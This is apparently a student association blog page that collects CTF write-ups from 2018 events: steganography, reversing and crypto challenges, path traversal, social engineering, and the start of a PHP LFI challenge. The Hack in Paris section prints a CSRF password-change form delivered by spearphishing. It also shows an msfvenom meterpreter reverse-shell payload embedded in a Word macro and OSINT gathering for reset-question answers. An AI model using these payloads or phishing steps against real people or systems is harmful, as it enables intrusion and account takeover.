Association de l'INSA de Lyon

IceCTF 2018 - Hot or Not

I've been busy recently and couldn't play CTFs as much as I used to, but IceCTF was such a good memory in 2016 that I really wanted to play their second edition !

Hot or Not

Keywords : Stegano, Scripting, Machine Learning, Algorithms

Category : Seganography

Points : 300

We are given a fat (70MB of jpeg !) image file. While downloading, I prepare my binwalk command because I am certain it's gonna be a big file "hidden" behind a normal image. It's only when I try to open the file that I realize the monstrosity that this challenge is : It's actually only an image file, but it's 5000x5000 pixels !

After waiting 2 minutes for the image to load in the viewer, I can see a mosaic of small images with no obvious pattern.

When I zoom in, pictures seem to be mostly fast food and dogs.

It didn't take long to hit me : the pictures are either "dog" or "hot-dog", hence the name of the challenge "Hot or not" !
It might also be a reference to the Silicon Valley series where a character builds a "hot-dog"/"not hot-dog" machine learning app (which was also released IRL).

I could also see that the whole mosaic has an orange-ish shade, except for 3 areas in the corner that are a bit more grey.

This definitely looks like a QR code, with the three large markers in the grey areas. With all of that information, I have a strong intuition that I am supposed to paint dogs as one color and hot-dogs as another, and ultimately obtain a QR code. (This intuition turned out to be correct)

There are 7569 sub-images in the mosaic, so there is no way I will classify them by hand. Another solution would be to build a neural network for this classification task (or use a pre-made model), but I noticed something that I want to explore a little more to try for a more creative solution.

Many of the sub-images appear more than once in the image. There are 7569 images on the mosaic, but only 1371 unique ones, which means that each image appears 5 or 6 times on average.

From there, I can either classify the 1371 images and be done in about an hour, or try to use another property : I noticed that hot-dog images tend to appear in groups, sane with dog pictures. I can try to build a graph where each node is an image and make the weight higher on the edges between images that appear together. In the end, I would try to extract two clusters from that graph, where each cluster represents a class (dog or hot-dog).

Shortly after I started fiddling with Python to build the image relationship graph, I figured there was an extremely powerful property on the images. Not only do images of the same class appear more together, they also respect groups of 3x3 where all pieces of the mosaic have the same class !

The principle of my relationship graph remains about the same, but I add the new property : There is an edge between two images if and only if they appear in the same 3x3 square. From there I will hopefully be able to extract two separate connected components in the graph, which will act as our previously defined clusters.

I will spare you the implementation details (feel free to DM me if you want the source code), but I managed my graph using a classic implementation of one of my favourite data structures, the Merge-Find set. (Is there anything nerdier than having a list of favourite data structures ?)

After the execution terminates, we are indeed left with 2 clusters ! Here is what the final graph would look like :

In conclusion, we have successfully created a dog vs hot-dog image classifier, without even loading the contents of the images ! Of course, it only works in these conditions because it exploits some properties of the images that were probably left accidentally by the challenge designers. We only have to color back the mosaic in black and white :

After adding the three QR markers that were removed by the authors, we can scan the QR code and get our flag !

Flag : IceCTF{h0td1gg1tyd0g}

Did you like this writeup ? If so, consider following me on Twitter !

Le 01/10/2018 à 10:39

Nuit du Hack 2018 Wargame

With a small subset of team InSecurity made of Clément "Tanphi", Hugo "Saltimbanquier", Paul "pjk136", Sylvain "Gnomino", Yassine "Zoug" and myself, we competed once again in the Nuit du Hack wargame this year. We finished at the 5th place like in 2016, and a last-minute exploit almost gave us 4th place but we didn't have time to execute it in time. That's part of the game !
Here are the writeups for many of the challenges I solved during the wargame.


Keywords : Reverse, Crypto, Pwn

Category : Crypto

Points : 250

Solved by : 8 teams

The challenge is a single Python file and an IP/port where the script is running. The script is supposed to allow me to read from any file, but it verifies that I am only trying to access hello_world.txt through various checks. Notably, there is an import that seems to be a homemade hash function that checks that both of my inputs have the same hash. Seeing this, I immediately know we will have to do some sort of hash collision to get the flag, but we have to get the first checks out of our way.

#!/usr/bin/env python3.6
[Here I removed a big docstring containing some info to deploy the challenge etc.]

import os
import pathlib
import myhash
import signal
import sys


def sanitize(path: str) -> str:
    path = path[:os.statvfs(".").f_namemax]
    assert os.path.isfile(path)
    return path

def check_is_safe(user_path: str):
    path = sanitize(user_path)
    assert pathlib.PurePath(path) == pathlib.PurePath("./hello_world.txt")

def main():
    safe_path_user = input("Enter the only safe file there is: ")
    file_to_read = input("Enter the file you want to read: ")

    print(f"Trying safe_path_user={safe_path_user} and file_to_read={file_to_read}", file=sys.stderr)

    # Compute the hash of the file names
    safe_path_hash = myhash.NDHash(safe_path_user)
    file_to_read_hash = myhash.NDHash(file_to_read)

    if safe_path_hash != file_to_read_hash:
        print("Sorry, you are not allowed to read this file", flush=True)

    with open(os.path.normpath(file_to_read)) as f:
        print("File content is:", flush=True)
        print("#"*40, flush=True)
        print(, flush=True)
        print("#"*40, flush=True)

if __name__ == "__main__":

So the logic is pretty simple : it asks for two paths, the first path is checked to point to ./hello_world.txt and the second path is checked to be the same as the first through the (probably insecure) NDHash function. However, I noticed that the first path is truncated before being passed to PurePath, so I can make the string very long and profit from the path truncation by carefully selecting where our overflowing path is truncated. The path is cut at its 255th character, since 255 is the standard value for os.statvfs(".").f_namemax. Let's take an example :

.Actual path :
./././././././././././././././././ [etc] ./././././hello_world.txtHACKED
                                                           255th character

Truncated path :
./././././././././././././././././ [etc] ./././././hello_world.txt

The PurePath function does not care about all the ./ because it simplifies the paths and the . directory only points to the current directory, so the PurePath check will be OK and I have some injection vector.

Now for the hash check, I have no idea how to get the source of the NDHash function so I try to guess any special behaviours it might have, but no luck. After a while, I realize that we could give the same path in both of the inputs so the hashes are the same. After all, I already have an injection and the easiest hash "collision" is when both of the inputs are identical ;)

The second path we provide is processed through os.path.normpath before being read, which simplifies paths like PurePath does. This function is not aware of the filesystem contents, so I can make it think that hello_world.txt is a directory :

>>> os.path.normpath('./hello_world.txt/../flag.txt')

We can now combine our path truncation and path traversal to get the contents of flag.txt :

Enter the only safe file there is: ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././hello_world.txt/../flag.txt
Enter the file you want to read: ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././hello_world.txt/../flag.txt
File content is:


And there I have the flag, without even having to collide hashes ! That's the first challenge I solved on the wargame, and also a first blood after 43 minutes !

Flag : ndh16_793a07af2612eb79254e2f22ce25ccac8d3698cac05ea25ec6f6a2c66eca8802959ab77e2a29c177437ab8ebd0a681834429197b6a5acf654d0a1de83b6dae65

After discussing with the challenge creator, I actually chained two vulnerabilities in a way he didn't think about, and the challenge was supposed to be much harder ! We were supposed to pull the sources from the Docker to get the NDHash function source, and find a collision on two different paths that would be interpreted differently. Turns out my initial intuition wasn't too bad :)


Keywords : Reverse, Gameboy

Category : Reverse

Points : 100

Solved by : 27 teams

The next challenge I attempted was GeodeGB. It proved to be quite challenging and I took a lot of time reversing the entire ROM whereas there were extremely simple ways to find the flag without all the steps I took. First, I'll show how I approached the problem, and in a second part I'll show an easier way to solve it that doesn't involve digging deep into the ROM.

Loading the provided ROM in our favorite Game Boy emulator (I used Visual Boy Advance), we are greeted with a classic CrackMe message and a keyboard :

We can type some characters we want, and then press Start so that the program checks if our input matches the flag.

Notice how the title has now changed to "===Wrong Password===" after we pressed Start :

Visual Boy Advance gives us some great tools to start reverse engineering the ROM. It provides a disassembly that's way more accurate than IDA Pro, and there are also various features to do live memory introspection and debugging. I typed a lot of 3s and dumped the entire console's memory (only 64kiB) and searched for "33333333". There was only a single occurrence of my string at offset 98A0 :

Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

000097F0  10 10 10 10 28 28 28 28 44 44 44 44 82 82 FE FE  ....((((DDDD‚‚þþ
00009800  2A 47 65 6F 64 65 20 43 6F 6E 74 72 6F 6C 20 50  *Geode Control P
00009810  61 6E 65 6C 00 00 00 00 00 00 00 00 00 00 00 00  anel............
00009820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00009830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00009840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00009850  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00009860  41 63 63 65 73 73 20 70 61 73 73 77 6F 72 64 3A  Access password:
00009870  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00009880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00009890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000098A0  33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33  3333333333333333
000098B0  33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00  3333............
000098C0  33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33  3333333333333333
000098D0  33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00  3333............
000098E0  33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33  3333333333333333
000098F0  33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00  3333............
00009900  33 33 33 33 33 33 33 33 00 00 00 00 00 00 00 00  33333333........
00009910  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00009920  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............

The string we typed is not stored contiguously, the characters are grouped by packets of 20 and aligned to multiples of 32 using null bytes. This has to do with how our input is displayed on several lines, each line being 20 characters. We can also see that the same area in memory holds a few other useful strings that are displayed on screen.

I wanted to determine where the flag checking function is located so I could reverse it. Searching for cross-references of address 98A0 (we have to search for A098 because the Game Boy's Z80 architecture is little-endian), we find no match. However, there are 10 references to address 9800, so my guess was that our data on 98A0 is accessed through [9800 + i] where i is an iterator starting at value A0. Looking at all 10 places referencing 9800, I find no obvious part where the flag is checked. It was at that moment I really started to worry that the flag check might use something else than [9800 + i] or be more strongly obfuscated. The disassembly is also quite large and I do not want to read it entirely. So I decide to go a step further in dynamic reversing and boot up the bgb emulator. It is made for reverse engineering Game Boy roms and provides even better tools than Visual Boy Advance. I set a breakpoint on every instruction that calls 9800, type a few letters and press start.

This is the debugger window on BGB, where you can see the disassembly of the challenge and the breakpoint that was hit in red (top left), the state of the console's RAM (bottom left), the current value of the registers (top right) and the stack (bottom right). Finding nothing more than with the static analysis, I then try to find the place where it's decided which value is displayed between the "Wrong password" and the "Access granted' strings. I find the addresses of both, 0554 (good) and 0569 (bad), and set breakpoints on all instructions referencing these addresses.

The logic at the current instruction (pointed by the green arrow) is the following : if the Z flag is enabled (we'll come back to that later), we continue the execution onto the next instruction, here at 0504. Otherwise we jump at address 0506. This is actually a branch in the execution corresponding to an if-else condition. Looking at both branches, I see that the branch 0504 makes us jump to address 0509, which loads the value 0554 (address for "Access granted") in the hl register and calls 1113. The other branch (at 0506) jumps at 051C which loads 0569 into hl and calls the same function 1113. At that point it's certain, unless there was some voluntary misdirection by the challenge designer, that this is the place where the result string is selected, so the goal is to make sure that the Z flag is set to true before arriving at 0501. You can see on the very top right that the Z flag is set to false so the value loaded will be the "Wrong password". Of course I could manually switch the flag by ticking the box in my debugger, but this will not help me get the correct flag. Going up a bit, we can see the instructions that lead up to Z being true or false.

Working my way backwards, I come across the instruction at 0299 which seems to verify that some value equals 0x16 (22 in decimal). The value that should equal 22 is returned by the function at 1148 which is called just before the check, at instruction 0291. With a fair bit of intuition and trial/error, I conclude that 1148 returns the length of the input string. Now that I know the flag should be 22 characters long, I can study the instructions that follow.

It is easier to see it while live-debugging than on the screeenshot, but the first character of the input is loaded then checked against value 0x74. The next block of instructions follows a similar pattern, where it's now the 2nd character of the input that we check equal to 0x48. This goes on for the 22 characters of the input. The value of the Z-flag at 0501 when choosing which string to load depends on whether the input is 22 characters long and all 22 checks passed without exception. Extracting all 22 values in order and converting them to ASCII, I get the flag : tH4TZ_4N_e4SY_NDH_fL4G.

Now as promised, here's the much easier way to solve the challenge which involves almost no reverse engineering and a bit of luck. As this was an "easy" challenge, I should probably have tried this from the start...

The technique used to solve is based on the fact that most of the easy CrackMe challenges rely on char-by-char comparisons like [TEST input[0]==0x74], [TEST input[1]==0x48], etc. Using online resources, we find that the opcode used by Z80 processors to compare the accumulator with a constant (cp instruction) is 0xFE. With a tiny Python script, it is possible to naively extract all bytes that follow a 0xFE in the ROM, without even bothering to disassemble to check if the FE actually corresponds to a cp instruction.

with open('', 'rb') as fi:
    contents =

result = ''
for i in range(len(contents)-1):
    if contents[i] == '\xfe':
        result += contents[i+1]
print result

As a result, we get the following string : tH4TZ_4N_e4SY_NDH_fL4Gø@マ メムUリリリリ which clearly contains the flag. We only have to clean it up a bit, but we got the correct answer in a matter of minutes.


Keywords : Reverse, AutoIt, Decompilation

Category : Reverse

Points : 200

Solved by : 9 teams

Like the Game Boy challenge, I really enjoyed AutoCrackIt because it used a language which isn't very usual in reverse engineering challenges. Even though it was flagged by only 9 teams, I feel like it was a bit easier than GeodeGB but I understand that it's more fun to reverse a GB game !

The file provided is a Windows x86 PE, more commonly known as a .exe file. I start it, and a simple window opens and prompts for a license key. I enter a random string and click on 'Validate', which of course tells me I have an incorrect key.

As for most CrackMe challs, the goal is probably to find the only correct key which is the flag. I load the exe in IDA Pro, where I can already see some strings which confirm my intuition that the challenge is compiled AutoIt script. Being unfamiliar with AutoIt, I start by searching for tools that could help me disassemble or decompile this intricate binary, and quickly find a tool named exe2aut which perfectly turns the compiled binary back into the original script. The script appears to be somewhat statically linked and has more than 4000 lines, but only the end of the script is useful.

$licence = "9677BD05BC969C4C8602A43163FC5BA313A04A8EC59F0A14A8F3457CD09F" [I truncated the very long line here]
While 1
	$nmsg = GUIGetMsg()
	Switch $nmsg
		Case $gui_event_close
		Case $cancel
		Case $validate
			If (cryyypt(cryypt(crypt(GUICtrlRead($edit1)))) == $licence) Then
				MsgBox(64, "Confirmed verification", "Congratz here's the flag : " & @CRLF & GUICtrlRead($edit1))
				MsgBox(16, "Failed verification", "The Licence Key is incorrect")

Func crypt($data, $linebreak = 76)
	Local $opcode = "0x5589E5FF7514535657E8410000004142434445464748494A4B4C4D4E4F505152535455565758595A6162636465666768696A6B6C6D6E6F707172737475767778797A303132333435363738392B2F005A8B5D088B7D108B4D0CE98F0000000FB633C1EE0201D68A06880731C083F901760C0FB6430125F0000000C1E8040FB63383E603C1E60409C601D68A0688470183F90176210FB6430225C0000000C1E8060FB6730183E60FC1E60209C601D68A06884702EB04C647023D83F90276100FB6730283E63F01D68A06884703EB04C647033D8D5B038D7F0483E903836DFC04750C8B45148945FC66B80D0A66AB85C90F8F69FFFFFFC607005F5E5BC9C21000"
	Local $codebuffer = DllStructCreate("byte[" & BinaryLen($opcode) & "]")
	DllStructSetData($codebuffer, 1, $opcode)
	$data = Binary($data)
	Local $input = DllStructCreate("byte[" & BinaryLen($data) & "]")
	DllStructSetData($input, 1, $data)
	$linebreak = Floor($linebreak / 4) * 4
	Local $oputputsize = Ceiling(BinaryLen($data) * 4 / 3)
	$oputputsize = $oputputsize + Ceiling($oputputsize / $linebreak) * 2 + 4
	Local $ouput = DllStructCreate("char[" & $oputputsize & "]")
	DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($codebuffer), "ptr", DllStructGetPtr($input), "int", BinaryLen($data), "ptr", DllStructGetPtr($ouput), "uint", $linebreak)
	Return DllStructGetData($ouput, 1)

Func cryypt($data)
	If $data == "" Then
		Return $data
	Local $aarray = StringToASCIIArray($data)
	For $i = 0 To UBound($aarray) - 1
		If ($aarray[$i] >= 65 AND $aarray[$i] <= 77) OR ($aarray[$i] >= 97 AND $aarray[$i] <= 109) Then
			$aarray[$i] += 13
		ElseIf ($aarray[$i] >= 78 AND $aarray[$i] <= 90) OR ($aarray[$i] >= 110 AND $aarray[$i] <= 122) Then
			$aarray[$i] -= 13
	Return StringFromASCIIArray($aarray)

Func cryyypt($data)
	$i = 0
	$crypteddata = ""
	$adata = StringSplit($data, "", 2)
	For $char In $adata
		If (Mod($i, 2) == 0) Then
			$crypteddata = $crypteddata & StringTrimLeft(_crypt_hashdata($char, 32781), 2)
			$crypteddata = $crypteddata & $char
		$i += 1
	Return STRINGREVERSE($crypteddata)

So the execution flow is now very easy to understand : The input passes through 3 successive "encryption" functions and the result is checked against the constant stored in $licence. If I code an inverse function for each of the 3 functions, I will then be able to pass $licence through them in reverse order, and get the expected input flag.

The first function that we need to pass $licence through is the inverse of cryyypt. What cryyypt does is that it takes a string as an input, and every character at an even index gets replaced by its SHA384 value. According to the StringTrimLeft call, it appears that it's only supposed to take the first two characters of the SHA384. By running this function on its own, we realize that actually the whole SHA384 is kept and we couldn't figure out why. Debug is left as an exercise to the reader ;) EDIT : After reading this writeup, the chall's designer himself came to the rescue and that the StringTrimLeft call was only used to remove the "0x" that is at the beginning af all hashes returned by _crypt_hashdata !

The string then gets flipped entirely from left to right and returned. If we take the example of cryyypt("ABCD"), we get the following execution :

A -> AD14AAF25020BEF2FD4E3EB5EC0C50272CDFD66074B0ED037C9A11254321AAC0729985374BEEAA5B80A504D048BE1864
B -> B
C -> 7860D388AC9E470C83D65C4B0B66BDD00E6C96FBADC78882174E020FAB9793A6221724B3DF9A2EC99F9395D9A410B9ED
D -> D

So the result concatenation is 

And the flipped string is returned: DDE9B014A9D5939F99CE2A9FD3B4271226A3979BAF020E47128887CDABF69C6E00DDB66B0B4C56D38C074E9CA883D0687B4681EB840D405A08B5AAEEB4735899270CAA12345211A9C730DE0B47066DFDC27205C0CE5BE3E4DF2FEB02052FAA41DA

Reversing this function is pretty simple, we just have to reverse the input, then extract the hash-character-hash-character pattern values. Reversing a SHA384 in this case is very easy because we know its input was a single character. It's possible to keep a lookup table of all 256 possible values to quickly restore the string back to its original. Passing $licence through the inverse of cryyypt gives me :


This looks like a base64 string, but if I try to decode it there is no meaningful data, so I need to go further and invert the two other functions. cryypt is very simple : It takes all letters and shifts letters a-m and A-M up by 13, n-z and N-Z down by 13 : for example abcdefghijklmnopqrstuvwxyz becomes nopqrstuvwxyzabcdefghijklm. All non-letter characters are untouched. I notice that the function is its own inverse so there would be no need to implement its inverse, but it's easier to translate it into Python than to make it run directly in an AutoIt interpreter. The result is


The last function to inverse looks pretty hard, there is some compiled assembler that is executed through a user32.dll call. I really do not want to reverse that so I stick to my base64 intuition and try to decode it. It works, and gives me the flag ndh16_{{e8724c7b3596bee26cedfa0e89ea09aa6b12a5ab066950591c73514feab6e7d7eb99dff0954dc5a29ade4da9b5a811181d2c6b6b418e4279aa2612458e309f0c}}


Keywords : Reverse, Crypto, Scripting, Automation

Category : Reverse

Points : 350

Solved by : 3 teams

The executable is an AMD64 PE which transforms a string into some sort of hash. Given the admin's password hash, we have to find the password. By playing with the input values we notice some interesting patterns. I tinkered with the program for a very long time to get a deep understanding before going into disassembly, here is a sample of the important parts :

>Crypto_red_team.exe 000000

>Crypto_red_team.exe 00000

>Crypto_red_team.exe 100000

>Crypto_red_team.exe 100001

>Crypto_red_team.exe 000001

>Crypto_red_team.exe a

>Crypto_red_team.exe b

>Crypto_red_team.exe c

>Crypto_red_team.exe d

The several important patterns are :

  • The input has the same size (in bytes) as the output

  • Adding/removing a character does not seem to affect the "hash" too much in some cases

  • Switching a character in the beginning changes the hash a lot, changing it at the end does not

  • There seems to be a XOR going on somewhere, because xor('a',63)==xor('b',60)==xor('c',61)==xor('d',66)

To complete the second pattern, here are some more interesting input/outputs :

>Crypto_red_team.exe xxxxyyyy

>Crypto_red_team.exe xxxyyyyy

>Crypto_red_team.exe xxx0yyyy

>Crypto_red_team.exe xxx0yyy0

>Crypto_red_team.exe 0xx0yyy0

It looks like if two inputs share their last N characters, the hashes will share their first N bytes. If that turns out to be correct, we can build the flag character by character from right to left. Let's try it by hand first, remember that the target hash starts with 64609720AB8C3918.

>Crypto_red_team.exe xxxxxxxxxxxxxx

[After trying many options for the last letter]
>Crypto_red_team.exe xxxxxxxxxxxxxf

[Same, we tried many characters before finding the right value 5]
>Crypto_red_team.exe xxxxxxxxxxxx5f

[Once again, bruteforce the 3rd-to-last char]
>Crypto_red_team.exe xxxxxxxxxxxe5f

It looks like we have the last three characters of the flag ! Let's not get too ahead of ourselves because the pattern might not hold for the whole string, we never know. Finding only the last three characters took me a few minutes by hand, so I'd like to go faster by scripting it. I assumed that every character of the flag is in 0123456789abcdef which might not be true for the first few characters which should be "ndh16_", but we don't really have to care about that.

import subprocess


for i in range(134):
    for c in '0123456789abcdef':
        paddedres = 'x'*(133-len(res))+c+res
        print paddedres
        mememe = subprocess.check_output('Crypto_red_team.exe %s'%paddedres, shell=True)
        if mememe[:2*i+2]==target[:2*i+2]:
        assert False

I wait nervously while my script discovers the flag from right to left, until it crashes at the 6th character before the end, exactly as I expected it.


Traceback (most recent call last):
  File "", line 15, in 
    assert False

I replace the first 6 characters by "ndh16_" and check one last time that my flag's hash matches the expected output. Once it is confirmed, I head over to the scoreboard and validate the sweet 350 points for my team ! Flag : ndh16_025c56dae09d3e764d586e399b22de90e3b88cde5642e654a6be5933a2421d908a1e40c1bb0c87488a7935ee369568e406fbe21bcec8d6ddc1aa6326a136ce5f

The morality of this challenge and the way I solved it, is that a minute you spend playing with the challenge and trying to understand how it works is never a minute you lost. There is no reason to try digging head first into it if you aren't fully aware of its surface. I'm personally the first to be guilty of this, often loading CrackMe binaries into IDA Pro without even launching them first !

There was also a trick which involved XORing the current bruteforced character with its value in the hash, which allowed to find directly the character on the first try. This induces an average x8 speedup and allows to find any character instead of the reduced 0123456789abcdef charset. However it felt a bit heavy to explain and my basic script already runs in about a minute.

Once again this year, the NdH Wargame confirmed to be among the best CTFs we ever played, being full of creative challenges and amazing organizers. We did not have a single complaint about the architecture. I felt that some categories were more represented than others (namely Reverse and Web), but as CTF organizers we know how hard it is to find problemsetters in all areas ! One thing we disliked was that some of the challenges had been published during the day as a company CTF (without anyone knowing they would be in the Wargame) so the teams who had played that one took a huge lead and first blood bonuses during the first minutes of the CTF. However, I don't think that impacted the final ranking too much, except maybe for the morale effect it had on both sides !

Thanks again to Hackerzvoice for organizing the NdH, to OVH for providing a strong infrastructure and to all challenge designers and CTF admins.

Follow me on Twitter if you liked these writeups !   

Le 01/07/2018 à 20:39

Hack in Paris 2018 | Social Engineering challenge

Part 1 - Phishing

Keywords : Social Engineering, OSINT, Phishing, CSRF

Category : SE

Points : 200

The task was to social engineer our way through 3 challenges in order to get flags. We are only given a URL to a company's website, Artificial Unintelligence Software (AUS)

The website is very simple, with only 3 pages including an empty homepage. On the second page, we are told that AUS is looking for new talents and we should email their recruiter Agnes Ingebletsen. Her email address is not given, but we will probably need to exploit this later.

The last page is the most interesting : it gives us the org chart for the company, which already gives us a good base on the profiles of our targets. It says the org chart was not updated since 2017 so there will probably be more targets who joined the company since then.

After a first Google search of the names, we see that most of the employees have Twitter and seem to interact quite frequently with each other. A big event on their accounts was last month on the CEO's birthday, which made most of the employees send a tweet to their boss. Apart from Twitter, we see that the CEO (Eriko Fleischer) and the recruiter (Agnes Ingebletsen) also have Instagram accounts.

In the same Twitter network as the 8 employees who were displayed on the website, we can also spot a few empty profiles who seem to have similar creation dates, following and followers. There are also two profiles clearly marked as AUS employees who were not listed on the org chart. Both also have Viadeo accounts and are connected to each other (and do not have any other connection). The Viadeo accounts do not have too much interest.

After 6 hours of nobody flagging any challenge, the organizers sent out a few hints on their Twitter account. Apparently we are supposed to exploit the Network Engineer, who is Gabriel Tretyakova, one of the two additional employees we had discovered on Twitter.

If we investigate about Gabriel a bit further, we can see that he has a Stackoverflow account where he goes by the name "mirkovb33r". This account was really hard to find because it was not directly indexed in Google and we had to search for it explicitly. Big thanks to the admins for the phat hints ;)

On his StackOverflow account, we can see that Gabriel also has GitHub account with a single repository in it.

The repo is very weird, there are 11 files with some PowerShell and Python.

The repo contains 11 files, some are PowerShell and others are Python, and there are also a few generic PDFs in there. Using GitHub search, two of the files contain the string 'password'. We quickly realized one of them was useless, which left us with an interesting Python script :

import requests
from bs4 import BeautifulSoup
USERNAME = "monitoring"

SCHEME = "http"
SUBDOMAIN = "mediastreamsubsonic"
DOMAIN = "aus"
TLD = "sh"

def login(username, password):
    s = requests.session()
    data={'j_username': username, 'j_password': password, 'submit':'Log+in'}
    URL = "%s://%s.%s.%s/j_acegi_security_check" % (SCHEME, SUBDOMAIN, DOMAIN, TLD), data=data)
    return s

def check_version(s):

We can see that the script is monitoring a Subsonic service hosted on Credentials are hardcoded, but the password seems to have been removed from the script (or it's just XXXX which is pretty unlikely). On the login page, we try quite a lot of passwords but no luck. After one more hint from the admins, we see that the Subsonic version was not the most recent, and we find four CVEs on that version, and CVE-2017-9415 caught our attention. There even is a ready-made exploit on exploitdb, we only have to get the admin to visit a page on which we are hosting the payload, in order to make him trigger a CSRF:

<form  action="http://[my server IP]/userSettings.view" method="POST">
<input type="hidden" name="username"  value="admin">
<input type="hidden" name="transcodeSchemeName" value="OFF">
<input name="passwordChange" type="hidden" value="true"/>
<input type="hidden" name="_passwordChange" value="on"/>
<input  name="password" type="hidden" value="xyz123"/>
<input  name="confirmPassword" type="hidden" value="xyz123"/>
<input  name="email" type="hidden" value=""/>

So we send a spearphishing email to Gabriel and wait for him to click the link. After a few minutes, we can successfully log in because he has unknowingly changed his password to the value xyz123 !

Flag : HIP{35dfabb9d2cfbfa4ada3535bb1164250dcd77831}

Even though it was the chall with the least points of the three, we feel like it was actually the hardest one and we had to go whine to the admins a lot. It was super fun, and we also had lots of pressure because we only managed to solve it 20 minutes before the CTF closed !

Part 2 - Malware

Keywords : Social Engineering, OSINT, Phishing, Metasploit, Word, Macros

Category : SE

Points : 300

The public hint given for this chall was that we had to send our CV to the recruiter as a Word file. It is immediately obvious that we have to find a way to contact Agnes, then send her a Word file with a bad macro in it. We quickly find her own CV online, which mentions email address (we also used her email to determine AUS's email address format which we used in the other challs).

So we make a realistic Word document which would make Agnes unsuspicious enough to enable Word macros :

We then generate a Metasploit payload and embed it into our document using the following command :

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=[MY SERVER] LPORT=4444 -f vba-exe

We didn't have to wait long until this happened on th msfconsole :

[*] Meterpreter session 2 opened ([MY SERVER]:4444 -> [AGNES PC]:22085) at 2018-06-29 14:38:28 +0200

Having a shell on her computer, getting the rest of the challenge is a piece of cake. We list the .txt files recursively on her home directory, and discover Documents\Confidential.txt.txt, which contains the flag : HIP{congr4tz_you_pwned_my_desktop}

Part 3 - Hotline

Keywords : Social Engineering, OSINT

Category : SE

Points : 400

This challenge was supposed to be the hardest one, but it was actually the first one we solved. It involved a good lot of OSINT and also some actual social engineering for the last part.

The tweet published by the admins gives us the hint "Did you find the reset form? If not 1.2...200", but we were unlucky because we had indeed already found it :/

The hint is related to how the AUS Wordpress pages were made. The recruitment URL is and the org chart can be found at Seeing this pattern, we make a tiny script in Python which queries the first 300 page IDs and sees if there's anything else :

import requests
for i in range(300):
    print i, requests.get('' % i).status_code

As expected, there are a lot of 404 pages, but some IDs actually return status 200, which is a pretty good sign. A password reset page is found at page_id 118.

It seems that the CEO constantly forgets his password, as everyone often seem to joke about :

The target for this attack seems to be the CEO. We need to find some informations about him which must be scattered over his social media. In order, we can find :

Email address : Inferring from Agnes and Gabriel's email addresses, we think it is

Date of birth : Pretty easy, we know that his 40th birthday was a few weeks ago, and we get the exact date from his employees' tweets. June 19th, 1978.

AddressOn his instagram account, Eriko posted a picture of his dog. According to the hashtags, it was taken at his home. Instagram strips EXIF data, but we try our luck with Google reverse image search. Nothing helpful there either. However, we remember seeing a Wordpress assets folder with directory listing enabled. In that folder there is the exact same picture, but EXIF data is there ! We get GPS coordinates, 39° 13' 22.81" N, 105° 59' 57.09" W. With Google Maps, we get the full address 701 Main St, Fairplay CO 80440, USA.

Pet name : Laula, as it appears on the instagram post.

First car brand and model : This one was actually the hardest part of the challenge. We have had all the other info for several hours, but nothing obvious appeared to find this car model. We tried a myriad of techniques including bruteforce, Street View time travel, zooming very hard on Instagram pictures, steganography .... but none of our tries was accepted by the page. We decided to ask the CTF organizer for a hint, and learned that we had to get the info directly from him ! Over lunchtime, we managed to interrogate him (the full story is funny, ask @valvolt or @laurent_gomez) and got the final info : it was a red Ford Mustang.

Flag : HIP{Ya_Man_N1ce_CaTch}

In conclusion, the HIP chall was pretty hard but very creatively designed, and we also appreciated that the social profiles were very complete and did have content more than the mandatory info to get the solutions. We were also misled by some of the tweets and profiles which we interpreted differently, but that's part of the game !

Special thanks to :

@clement_hammel, my InSecurity teammate for the CTF

@valvolt and @laurent_gomez, partners from the sundayparan0ids team

The whole HIP team, and especially the Sysdream team organizers Carla, Caroline and Loïc, for their time spent developing and administrating the CTF

Writeup by @MathisHammel, follow me for more InfoSec content and random bullshit !

Le 29/06/2018 à 23:19

Just In Time - Hack The Vote chall

Keywords: LFI, PHP, unserialize, time sensible

Category: Web

Points: 300

Somebody broke into Kentucky's voter registration system last week but the officials are only saying that they patched it instead of saying who it was. Can you find a new way into their management system and identify the attacker? After registration closes, the site will be taken offline so don't miss your chance.

Note: This challenge uses a slightly nonstandard flag format (an RSA fingerprint starting with F1:A6)

Hint: You should look at this challenge soon before it is too late! Draft your solution asap.

At first sight you can't do much with this challenge. You can register a Voter AKA a user. And if you do so you are given an ID. This ID is a base64 containing a JSON with what looks like PHP serialized data and checksums.

[ "O:5:\"Voter\":6:{s:4:\"name\";s:5:\"hugo1\";s:4:\"addr\";s:4:\"addr\";s:5:\"affil\";s:11:\"Independent\";s:3:\"zip\";s:5:\"42602\";s:3:\"log\";s:16:\".\/data\/hugo1\/log\";s:8:\"show_log\";b:0;}",

You can ask the website to check your ID, and the website prints your information.

Of course if you try to modify the Voter object the website tell you that the signature is wrong (the 1st big string). If you try to modify the third JSON parameter (hugo1 here) then the website gives you a similar error.

Okay so we might have to modify this JSON later on, when we'll find the key to sign the objects.

On the website you can also go to /admin.php which ask you for a password.

I have not found something interesting enough, so I continued my search.. By looking at the network accesses we can see that the website call frequently the url : When you go directly to the url you see the remaining time before the registration closes (which will be a big hint later on).

As a PHP lover I immediately saw the p parameter which often means that a page is included. If the website is badly designed (like here) it could lead to an LFI (cf

For example :

The website home's page is displayed. So this URL includes the index.php file. What about reading the sources ? It can be possible if the php filters are enabled :

